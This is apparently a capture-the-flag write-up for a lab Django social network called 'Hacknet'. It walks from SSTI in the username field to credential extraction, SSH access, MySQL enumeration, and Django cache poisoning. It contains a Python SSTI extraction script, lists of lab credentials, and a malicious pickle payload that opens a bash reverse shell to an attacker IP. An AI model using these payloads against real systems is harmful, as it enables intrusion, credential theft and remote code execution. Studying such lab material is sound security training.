Hacknet
Overview
Hacknet is a Django social network application vulnerable to Server-Side Template Injection (SSTI) in the username field. The injection is reflected in a public-facing "likes" section, allowing indirect data extraction. A custom Python script enumerates all user accounts and passwords via the SSTI. After SSH access, MySQL credentials enable database access, and a Django cache poisoning attack using a malicious pickle payload achieves code execution as a higher-privileged user. The root password is found in a GPG-encrypted backup.
Recon
Nmap
sudo nmap -sC -sV -vv -oA tcp 10.129.45.227 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.45.227HTTP (80) and SSH (22). The web application allows account registration.
Application Fingerprinting
Wappalyzer identifies Python/Django:
Foothold
SSTI Discovery
The profile edit page's username field is vulnerable to SSTI. The injected username is reflected back to other users in the "likes" section of posts - an indirect/blind SSTI scenario where input is set, then observed via a secondary endpoint.
Template Context Enumeration
Django's template engine uses {{ variable }} syntax. We need to identify what variables are passed to the template that renders our username in the likes section. Testing common variable names:
- user
- users
- likes
The users variable returns a QuerySet of all users:
Individual fields are accessible via {{ users.N.field }} where N is an index.
Automated Data Extraction Script
Since we can only exfiltrate one field at a time (by setting our username, then reading it from a public likes page), write a Python script to iterate through all users and extract email, username, and password hash:
import requests
LIKES_URL = "http://hacknet.htb/likes/"
PROFILE_URL = "http://hacknet.htb/profile/edit"
session = requests.session()
burp0_url = "http://hacknet.htb:80/profile/edit"
burp0_cookies = {"csrftoken": "uxaP1WnCSXWur9e3xWGi5ypF6OpFftXc", "sessionid": "i6ghygzh5k8mikhg0suge07hu12fywku"}
burp0_headers = {
"Cache-Control": "max-age=0",
"Origin": "http://hacknet.htb",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryp36GXUlhBgicj5NN",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 ...",
"Referer": "http://hacknet.htb/profile/edit",
}
usernames = []
emails = []
passwords = []
data_to_store = []
for like in range(1, 26):
search_url = f"{LIKES_URL}{like}"
for x in range(0, 20):
try:
# Extract email
burp0_data = f"...{{ users.{x}.email }}..."
session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
re = session.get(search_url)
email = re.text.split('image1_OR0u5i2.jpg" title="')[1].split('">')[0] if re.ok else "N/A"
if len(email) and email not in emails:
emails.append(email)
# (repeat for username and password fields)
except:
pass
with open("combined", "w+") as f:
for t in data_to_store:
f.write(f"{t}\n")The public profile IDs with messages are: 1, 4, 9, 13, 23.
Extracted usernames:
blackhat_wolf, brute_force, bytebandit, codebreaker, cryptoraven,
cyberghost, darkseeker, datadive, deepdive, exploit_wizard,
glitch, hexhunter, netninja, packetpirate, phreaker,
rootbreaker, shadowcaster, shadowmancer, shadowwalker,
stealth_hawk, trojanhorse, virus_viper, whitehat, zero_dayExtracted passwords:
Bl@ckW0lfH@ck, BrUt3F0rc3#, Byt3B@nd!t123, C0d3Br3@k!,
CrYptoR@ven42, D33pD!v3r, D@rkSeek3r#, D@taD1v3r,
Expl01tW!zard, Gh0stH@cker2024, Gl1tchH@ckz, H3xHunt3r!,
N3tN1nj@2024, P@ck3tP!rat3, Phre@k3rH@ck, R00tBr3@ker#,
Sh@d0wC@st!, Sh@d0wM@ncer, Sh@dowW@lk2024, St3@lthH@wk,
Tr0j@nH0rse!, V!rusV!p3r2024, Wh!t3H@t2024, Zer0D@yH@ckFrom deepdive's profile, the final user is found:
[email protected] - backdoor_bandit - mYd4rks1dEisH3reTest credentials via NXC for SSH:
SSH as mikey with password mYd4rks1dEisH3re.
Lateral Movement
Run linpeas on the system:
MySQL credentials found:
sandy:h@ckn3tDBpa$$Connect to MySQL as sandy and enumerate the Django auth_user table:
SELECT id, password, username FROM auth_user;| 1 | pbkdf2_sha256$720000$I0qcPWSgRbUeGFElugzW45$... | admin |
Privilege Escalation
Django Cache Poisoning via Pickle
Django's file-based cache stores serialized Python objects. If the cache directory is writable and the application deserializes cache entries without validation, we can inject a malicious pickle payload that executes arbitrary code when the cache is read.
Create a malicious pickle that spawns a reverse shell:
import pickle
import subprocess
class PickleRCE:
def __reduce__(self):
return (subprocess.Popen, (["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.98/8443 0>&1"],))
cache_content = pickle.dumps(PickleRCE())
with open('90dbab8f3b1e54369abdeb4ba1efc106.djcache', 'wb') as f:
f.write(cache_content)Upload the malicious .djcache file and move it into the Django cache directory:
# From SSH session
mv /home/mikey/90dbab8f3b1e54369abdeb4ba1efc106.djcache \
/var/tmp/django_cache/90dbab8f3b1e54369abdeb4ba1efc106.djcacheTrigger the cache read by accessing the Explore page in the application. The deserialization fires the reverse shell.
Root Password in GPG-Encrypted Backup
After lateral movement, copy GPG private keys locally and use gpg2john to crack the passphrase:
The root password is stored in a backup file that can be decrypted with the recovered GPG key:
Attack Chain Summary
| Phase | Technique | Result |
|---|---|---|
| Recon | Application fingerprinting | Django social network |
| Foothold | SSTI in username → indirect exfiltration script | All user credentials |
| SSH access | Credential spray | Shell as mikey |
| Lateral movement | MySQL credentials from linpeas | DB access |
| Privesc | Django cache poisoning (pickle RCE) | Higher-priv shell |
| Root | GPG key cracking → backup decrypt | Root password |

